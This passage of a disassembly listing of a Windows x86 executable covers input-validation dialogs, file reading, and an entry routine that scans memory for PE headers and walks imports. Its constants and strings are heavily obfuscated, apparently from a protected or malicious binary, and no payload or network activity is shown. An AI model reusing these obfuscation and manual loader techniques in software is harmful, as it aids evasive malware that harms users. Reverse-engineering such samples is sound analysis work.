		call	ds:dword_444020
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_447384[eax]
		call	ds:dword_449BA4	; GetWindowTextA
		mov	eax, dword_44A1AC
		movsx	eax, [ebp+eax+var_108]
		mov	edx, dword_44A184
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43FCAD
		push	offset word_44AD46
		call	sub_43C507
		pop	ecx
		mov	edx, dword_44A19C
		add	edx, dword_44A25C
		sub	edx, 0Eh
		push	edx
		push	0
		push	eax
		push	0
		call	ds:dword_449644	; MessageBoxA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_447384[eax]
		call	ds:dword_446A40	; SetFocus
		jmp	loc_43FF65
; ---------------------------------------------------------------------------


loc_43FCAD:				; CODE XREF: sub_43F9F6+270j
		push	offset byte_44AD41
		call	sub_43C507
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_444020
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_444020
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_447388[eax]
		call	ds:dword_449BA4	; GetWindowTextA
		movsx	eax, word_44A098
		movsx	eax, [ebp+eax+var_105]
		mov	edx, dword_44A18C
		add	edx, dword_44A268
		sub	edx, 4
		cmp	eax, edx
		jz	loc_43FE4F
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43FD31:				; CODE XREF: sub_43F9F6+340j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FD31
		mov	ecx, dword_44A120
		sub	ecx, 1
		cmp	eax, ecx
		jb	loc_43FE4F
		movsx	eax, word_44A150
		add	eax, dword_44A21C
		sub	eax, 10h
		mov	[ebp+var_105], al
		jmp	short loc_43FD83
; ---------------------------------------------------------------------------


loc_43FD61:				; CODE XREF: sub_43F9F6+3A6j
		movzx	eax, [ebp+var_105]
		mov	al, [ebp+eax+var_103]
		cmp	al, 30h
		jl	short loc_43FD77
		cmp	al, 39h
		jle	short loc_43FD7C


loc_43FD77:				; CODE XREF: sub_43F9F6+37Bj
		jmp	loc_43FE4F
; ---------------------------------------------------------------------------


loc_43FD7C:				; CODE XREF: sub_43F9F6+37Fj
		add	[ebp+var_105], 1


loc_43FD83:				; CODE XREF: sub_43F9F6+369j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43FD8C:				; CODE XREF: sub_43F9F6+39Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FD8C
		movzx	ecx, [ebp+var_105]
		cmp	ecx, eax
		jb	short loc_43FD61
		mov	eax, dword_44A280
		add	eax, dword_44A0D4
		sub	eax, 0Ah
		mov	[ebp+var_104], al
		jmp	short loc_43FE2B
; ---------------------------------------------------------------------------


loc_43FDB4:				; CODE XREF: sub_43F9F6+44Ej
		mov	al, [ebp+var_104]
		mov	[ebp+var_219], al
		jmp	short loc_43FDEB
; ---------------------------------------------------------------------------


loc_43FDC2:				; CODE XREF: sub_43F9F6+40Ej
		movzx	eax, [ebp+var_219]
		movsx	eax, [ebp+eax+var_103]
		movzx	edx, [ebp+var_104]
		movsx	edx, [ebp+edx+var_103]
		cmp	eax, edx
		jnz	short loc_43FE06
		add	[ebp+var_219], 1


loc_43FDEB:				; CODE XREF: sub_43F9F6+3CAj
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43FDF4:				; CODE XREF: sub_43F9F6+403j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FDF4
		movzx	ecx, [ebp+var_219]
		cmp	ecx, eax
		jb	short loc_43FDC2


loc_43FE06:				; CODE XREF: sub_43F9F6+3ECj
		movzx	eax, [ebp+var_219]
		movzx	edx, [ebp+var_104]
		sub	eax, edx
		movsx	edx, word_44A0BC
		sub	edx, 6
		cmp	eax, edx
		jg	short loc_43FE4F
		add	[ebp+var_104], 1


loc_43FE2B:				; CODE XREF: sub_43F9F6+3BCj
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43FE34:				; CODE XREF: sub_43F9F6+443j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FE34
		movzx	ecx, [ebp+var_104]
		cmp	ecx, eax
		jb	loc_43FDB4
		jmp	loc_43FEDE
; ---------------------------------------------------------------------------


loc_43FE4F:				; CODE XREF: sub_43F9F6+32Cj
					; sub_43F9F6+34Dj ...
		mov	eax, dword_44A1C4
		add	eax, 7CBh
		push	eax
		call	ds:dword_449630
		push	offset a5_0	; "5"
		call	sub_43C507
		mov	[ebp-21Ch], eax
		push	offset byte_44ACF1
		call	sub_43C507
		movsx	edx, word_44A174
		sub	edx, 7
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		push	0
		call	ds:dword_449644	; MessageBoxA
		push	offset byte_44ACED
		call	sub_43C507
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_220], eax
		mov	edx, eax
		push	ds:dword_447388[edx]
		call	ds:dword_449658	; SetWindowTextA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_224], eax
		push	ds:dword_447388[eax]
		call	ds:dword_446A40	; SetFocus
		jmp	loc_43FF65
; ---------------------------------------------------------------------------


loc_43FEDE:				; CODE XREF: sub_43F9F6+454j
		push	offset dword_44ACE8
		call	sub_43C507
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_444020
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_444020
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_228], eax
		push	ds:dword_447378[eax]
		call	ds:dword_447224	; DestroyWindow
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44404C
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_22C], eax
		push	ds:dword_447374[eax]
		call	ds:dword_44965C	; ShowWindow
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_230], eax
		and	ds:dword_447370[eax], 0


loc_43FF65:				; CODE XREF: sub_43F9F6+1Bj
					; sub_43F9F6+2Cj ...
		mov	eax, dword_44A0C8
		movsx	edx, word_44A1B4
		mov	edi, eax
		add	edi, edx
		sub	edi, 4
		jmp	loc_440051
; ---------------------------------------------------------------------------


loc_43FF7D:				; CODE XREF: sub_43F9F6+667j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_8], eax
		cmp	esi, ds:dword_447380[eax]
		jnz	short loc_43FFB4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_C], eax
		push	ds:dword_447390[eax]
		call	ds:dword_44960C	; CallWindowProcA
		jmp	loc_440063
; ---------------------------------------------------------------------------


loc_43FFB4:				; CODE XREF: sub_43F9F6+598j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_10], eax
		cmp	esi, ds:dword_447384[eax]
		jnz	short loc_43FFE8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_14], eax
		push	ds:dword_447394[eax]
		call	ds:dword_44960C	; CallWindowProcA
		jmp	short loc_440063
; ---------------------------------------------------------------------------


loc_43FFE8:				; CODE XREF: sub_43F9F6+5CFj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_18], eax
		cmp	esi, ds:dword_447388[eax]
		jnz	short loc_44001C
		push	[ebp+arg_C]


loc_43FFFE:				; DATA XREF: .data:off_44B279o
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_1C], eax
		push	ds:dword_447398[eax]
		call	ds:dword_44960C	; CallWindowProcA
		jmp	short loc_440063
; ---------------------------------------------------------------------------


loc_44001C:				; CODE XREF: sub_43F9F6+603j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20], eax
		cmp	esi, ds:dword_44737C[eax]
		jnz	short loc_440050
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_24], eax
		push	ds:dword_44739C[eax]
		call	ds:dword_44960C	; CallWindowProcA
		jmp	short loc_440063
; ---------------------------------------------------------------------------


loc_440050:				; CODE XREF: sub_43F9F6+637j
		inc	edi


loc_440051:				; CODE XREF: sub_43F9F6+582j
		movsx	eax, word_44A0D8
		add	eax, 62h
		cmp	edi, eax
		jb	loc_43FF7D


loc_440063:				; CODE XREF: sub_43F9F6+5B9j
					; sub_43F9F6+5F0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_43F9F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44006A	proc near		; CODE XREF: sub_43A974+247p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	1
		push	[ebp+arg_4]
		call	sub_43C5EA
		add	esp, 8
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	loc_44028F
		mov	[ebp+var_18], 8
		push	offset dword_44ACD8
		call	sub_43F767
		pop	ecx
		push	eax
		call	ds:dword_444044
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word_44A1A4
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_440277
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset dword_44BA68
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A280
		add	eax, dword_44A20C
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_44026E
		mov	[ebp+var_30], 2
		mov	eax, dword_44A164
		sub	eax, 4
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_3C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_44A288
		add	eax, dword_44A184
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_440265
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44BA78
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44A160
		dec	eax
		cmp	ebx, eax
		jnz	loc_44025C
		inc	ds:dword_446620
		movsx	eax, word_44A104
		add	eax, 2
		cmp	ds:dword_446620, eax
		jb	short loc_4401B7
		mov	eax, dword_44A0F4
		add	eax, 3
		mov	ds:dword_446620, eax
		push	[ebp+var_4]
		call	sub_43B523
		pop	ecx
		jmp	loc_440253
; ---------------------------------------------------------------------------


loc_4401B7:				; CODE XREF: sub_44006A+130j
		mov	eax, dword_44A0AC
		movsx	edx, word_44A0D8
		add	eax, edx
		sub	eax, 3
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	ds:dword_448640
		call	sub_44047F
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ds:dword_444018
		call	sub_44047F
		add	esp, 10h
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_440213
		cmp	[ebp+var_34], 0
		jz	short loc_440213
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_34]
		call	sub_43B622
		add	esp, 10h


loc_440213:				; CODE XREF: sub_44006A+18Cj
					; sub_44006A+192j
		cmp	[ebp+var_40], 0
		jz	short loc_440234
		cmp	[ebp+var_38], 0
		jz	short loc_440234
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_40]
		push	[ebp+var_38]
		call	sub_43B622
		add	esp, 10h


loc_440234:				; CODE XREF: sub_44006A+1ADj
					; sub_44006A+1B3j
		push	[ebp+var_34]
		call	ds:dword_44661C	; LocalFree
		push	[ebp+var_38]
		call	ds:dword_44661C	; LocalFree
		push	0
		push	[ebp+arg_4]
		call	sub_43C5EA
		add	esp, 8


loc_440253:				; CODE XREF: sub_44006A+148j
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_44025C:				; CODE XREF: sub_44006A+114j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_440265:				; CODE XREF: sub_44006A+E8j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_44026E:				; CODE XREF: sub_44006A+94j
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_440277:				; CODE XREF: sub_44006A+66j
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_449BA0
		movsx	eax, word_44A1E0
		sub	eax, 3
		cmp	ebx, eax
		jz	short $+2


loc_44028F:				; CODE XREF: sub_44006A+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44006A	endp


; =============== S U B	R O U T	I N E =======================================



sub_440294	proc near		; DATA XREF: .data:0044A368o
		mov	eax, 80004001h
		retn	18h
sub_440294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44029C	proc near		; CODE XREF: sub_43BD90+2CEp
					; sub_43D357+263p

var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 330h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_449630
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_442F8C
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_4402CA:				; CODE XREF: sub_44029C+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4402CA
		mov	edx, dword_44A1C4
		add	edx, dword_44A14C
		sub	edx, 0Ah
		mov	ebx, eax
		sub	ebx, edx
		mov	edx, dword_44A254
		sub	edx, 9
		mov	[ebp+ebx+var_316], dl
		mov	eax, dword_44A268
		movsx	edx, word_44A0A4
		mov	edi, eax
		add	edi, edx
		sub	edi, 0Ah


loc_440307:				; CODE XREF: sub_44029C+177j
		mov	eax, edi
		movsx	ecx, word_44A240
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		movsx	ecx, word_44A1F0
		dec	ecx
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, dword_44A1F4
		movsx	edx, word_44A0CC
		add	eax, edx
		sub	eax, 0Ah
		mov	edx, [ebp+var_324]
		add	edx, eax
		mov	eax, dword_44A21C
		sub	eax, 8
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		mov	edx, dword_44A114
		sub	edx, 8
		cmp	eax, edx
		jnz	loc_440412
		mov	eax, edi
		mov	ecx, dword_44A270
		sub	ecx, 2
		mul	ecx
		mov	[ebp+var_328], eax
		mov	eax, dword_44A0F8
		add	eax, dword_44A0EC
		sub	eax, 9
		mov	edx, [ebp+var_328]
		add	edx, eax
		movsx	eax, word_44A16C
		add	eax, dword_44A164
		sub	eax, 5
		mov	[ebp+edx+var_212], al
		mov	eax, dword_44A14C
		mov	[ebp+var_32C], eax
		mov	eax, edi
		mov	edx, [ebp+var_32C]
		mov	ecx, edx
		add	ecx, dword_44A204
		sub	ecx, 5
		mul	ecx
		mov	[ebp+var_330], eax
		mov	eax, dword_44A14C
		sub	eax, 3
		mov	edx, [ebp+var_330]
		add	edx, eax
		movsx	eax, word_44A0B0
		movsx	ecx, word_44A124
		add	eax, ecx
		sub	eax, 0Dh
		mov	[ebp+edx+var_212], al
		jmp	short loc_440418
; ---------------------------------------------------------------------------


loc_440412:				; CODE XREF: sub_44029C+DEj
		inc	edi
		jmp	loc_440307
; ---------------------------------------------------------------------------


loc_440418:				; CODE XREF: sub_44029C+174j
		cmp	dword_44A2AC, 0
		jz	short loc_440459
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	ds:dword_446604
		mov	esi, eax
		or	esi, esi
		jz	short loc_440459
		cmp	dword_44A2B0, 0
		jz	short loc_44047A
		mov	eax, dword_44A13C
		sub	eax, 2
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	ds:dword_44401C


loc_440459:				; CODE XREF: sub_44029C+183j
					; sub_44029C+198j
		push	ds:dword_446614
		push	ds:off_449610
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_440F46
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_44047A:				; CODE XREF: sub_44029C+1A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44029C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44047F	proc near		; CODE XREF: sub_43D9B8+18p
					; sub_44006A+16Bp ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_449788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4404C8
		cmp	[ebp+arg_4], 0
		jz	short loc_4404C4
		mov	eax, [ebp+arg_4]
		movsx	edx, word_44A0BC
		add	edx, dword_44A1AC
		sub	edx, 0Eh
		mov	[eax], edx


loc_4404C4:				; CODE XREF: sub_44047F+2Ej
		xor	eax, eax
		jmp	short loc_44050C
; ---------------------------------------------------------------------------


loc_4404C8:				; CODE XREF: sub_44047F+28j
		push	0
		push	edi
		call	ds:dword_449624	; GetFileSize
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	ds:dword_446A34	; LocalAlloc
		mov	ebx, eax
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_4404F1
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_4404F7
; ---------------------------------------------------------------------------


loc_4404F1:				; CODE XREF: sub_44047F+68j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_4404F7:				; CODE XREF: sub_44047F+70j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	ds:dword_444028	; ReadFile
		push	edi
		call	ds:dword_448654	; CloseHandle
		mov	eax, ebx


loc_44050C:				; CODE XREF: sub_44047F+47j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44047F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440511	proc near		; CODE XREF: sub_439B7B+1CAp
					; sub_43AF47+2D9p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		push	offset dword_44A8A8
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	ds:dword_449634
		add	esp, 0Ch
		mov	esi, dword_44A1B8
		sub	esi, 5
		jmp	short loc_440561
; ---------------------------------------------------------------------------


loc_440547:				; CODE XREF: sub_440511+56j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_440560
		mov	eax, dword_44A1F8
		sub	eax, 3
		mov	[ebp+esi+var_FFF], al


loc_440560:				; CODE XREF: sub_440511+3Ej
		inc	esi


loc_440561:				; CODE XREF: sub_440511+34j
		cmp	esi, 0FFFh
		jb	short loc_440547
		mov	eax, dword_44A1B8
		sub	eax, 5
		mov	[ebp+var_1004],	eax
		mov	eax, dword_44A0C4
		mov	ebx, eax
		add	ebx, dword_44A0C8
		sub	ebx, 7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4405E6


loc_44058D:				; CODE XREF: sub_440511+D3j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_4405AF
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	offset dword_449670
		call	sub_442F8C
		jmp	loc_440839
; ---------------------------------------------------------------------------


loc_4405AF:				; CODE XREF: sub_440511+85j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_4405B9:				; CODE XREF: sub_440511+ADj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4405B9
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_44A15C
		sub	edx, 9
		cmp	eax, edx
		jz	loc_440839
		jmp	short loc_44058D
; ---------------------------------------------------------------------------


loc_4405E6:				; CODE XREF: sub_440511+7Aj
		mov	eax, dword_44A350
		mov	[ebp+var_1008],	eax
		mov	eax, dword_44A210
		add	eax, dword_44A268
		sub	eax, 5
		mov	edx, [ebp+arg_0]
		mov	ecx, dword_44A0D4
		sub	ecx, 6
		mov	[edx+eax], cl
		mov	eax, dword_44A09C
		mov	ebx, eax
		add	ebx, dword_44A18C
		sub	ebx, 5
		mov	eax, dword_44A1D0
		add	eax, dword_44A12C
		sub	eax, 0Fh
		mov	[ebp+var_1004],	eax


loc_440632:				; CODE XREF: sub_440511+300j
		push	offset byte_44A89D
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_442F8C
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	ds:dword_444020
		add	esp, 0Ch
		call	ds:dword_449BAC
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		mov	eax, dword_44A090
		add	eax, dword_44A220
		sub	eax, 5
		cmp	edx, eax
		jnb	loc_440764
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_43ABE3
		mov	eax, dword_44A19C
		movsx	edx, word_44A230
		add	eax, edx
		sub	eax, 0Bh
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_4384B5
		add	esp, 14h
		mov	edi, dword_44A220
		add	edi, 0FFFBh
		cmp	eax, edi
		jnz	short loc_4406F8
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		push	offset dword_44A898
		call	sub_43C507
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		add	esp, 14h


loc_4406F8:				; CODE XREF: sub_440511+1BEj
		mov	eax, dword_44A0DC
		sub	eax, 2
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_4384B5
		add	esp, 0Ch
		mov	edi, dword_44A19C
		add	edi, 0FFF9h
		cmp	eax, edi
		jnz	short loc_44075E
		push	offset byte_44A88D
		call	sub_43C507
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		push	offset dword_44A888
		call	sub_43C507
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		add	esp, 20h


loc_44075E:				; CODE XREF: sub_440511+210j
		inc	[ebp+var_1008]


loc_440764:				; CODE XREF: sub_440511+174j
		push	[ebp+var_1004]
		call	sub_43CCC9
		pop	ecx
		mov	[ebp+var_100C],	eax
		mov	ecx, dword_44A1A8
		cmp	eax, ecx
		jnb	short loc_4407DC
		movsx	eax, word_44A150
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_4384B5
		add	esp, 0Ch
		movsx	edi, word_44A208
		mov	edx, dword_44A13C
		lea	edi, [edi+edx+0FFF7h]
		cmp	eax, edi
		jnz	short loc_4407DC
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		push	offset byte_44A883
		call	sub_43C507
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		add	esp, 14h


loc_4407DC:				; CODE XREF: sub_440511+26Dj
					; sub_440511+2A2j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_4407E6:				; CODE XREF: sub_440511+2DAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4407E6
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_44A26C
		add	edx, dword_44A090
		sub	edx, 0Ch
		cmp	eax, edx
		jnz	loc_440632
		push	offset word_44A87E
		call	sub_43C507
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_444020
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	dword_44A350, eax


loc_440839:				; CODE XREF: sub_440511+99j
					; sub_440511+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440511	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44083E	proc near		; CODE XREF: start+1p

var_138		= dword	ptr -138h
var_133		= byte ptr -133h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_127		= byte ptr -127h
var_124		= byte ptr -124h
var_122		= byte ptr -122h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	eax, sub_43EC0A
		mov	[ebp+var_10], eax
		mov	edx, eax
		movsx	ecx, word_44A160
		add	ecx, 0Fh
		mov	eax, edx
		shr	eax, cl
		movsx	edx, word_44A124
		add	edx, 0Ah
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl


loc_440873:				; CODE XREF: sub_44083E+4Dj
					; sub_44083E+7Dj ...
		mov	[ebp+var_18], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_44088D
		mov	eax, dword_44A188
		add	eax, 10000h
		sub	ebx, eax
		jmp	short loc_440873
; ---------------------------------------------------------------------------


loc_44088D:				; CODE XREF: sub_44083E+3Fj
		mov	eax, dword_44A15C
		add	eax, 2Dh
		add	eax, dword_44A288
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_10]
		cmp	eax, ecx
		jbe	short loc_4408BD
		movsx	eax, word_44A0E8
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	short loc_440873
; ---------------------------------------------------------------------------


loc_4408BD:				; CODE XREF: sub_44083E+6Dj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_4408DD
		movsx	eax, word_44A218
		add	eax, 0FFFBh
		sub	ebx, eax
		jmp	short loc_440873
; ---------------------------------------------------------------------------


loc_4408DD:				; CODE XREF: sub_44083E+8Dj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_C], eax
		movsx	eax, word_44A174
		sub	eax, 7
		mov	[ebp+var_4], eax
		jmp	loc_440A7A
; ---------------------------------------------------------------------------


loc_4408FB:				; CODE XREF: sub_44083E+248j
		mov	eax, ebx
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_4]
		mov	[ebp+var_12C], eax
		mov	edx, dword_44A12C
		movsx	ecx, word_44A180
		add	edx, ecx
		sub	edx, 0Ch
		cmp	[eax], edx
		jz	loc_440A8C
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp+var_130], edx
		push	edx
		lea	eax, [ebp+var_127]
		push	eax
		call	sub_442F8C
		mov	eax, dword_44A1AC
		add	eax, dword_44A164
		sub	eax, 9
		mov	[ebp+var_28], eax
		jmp	short loc_440976
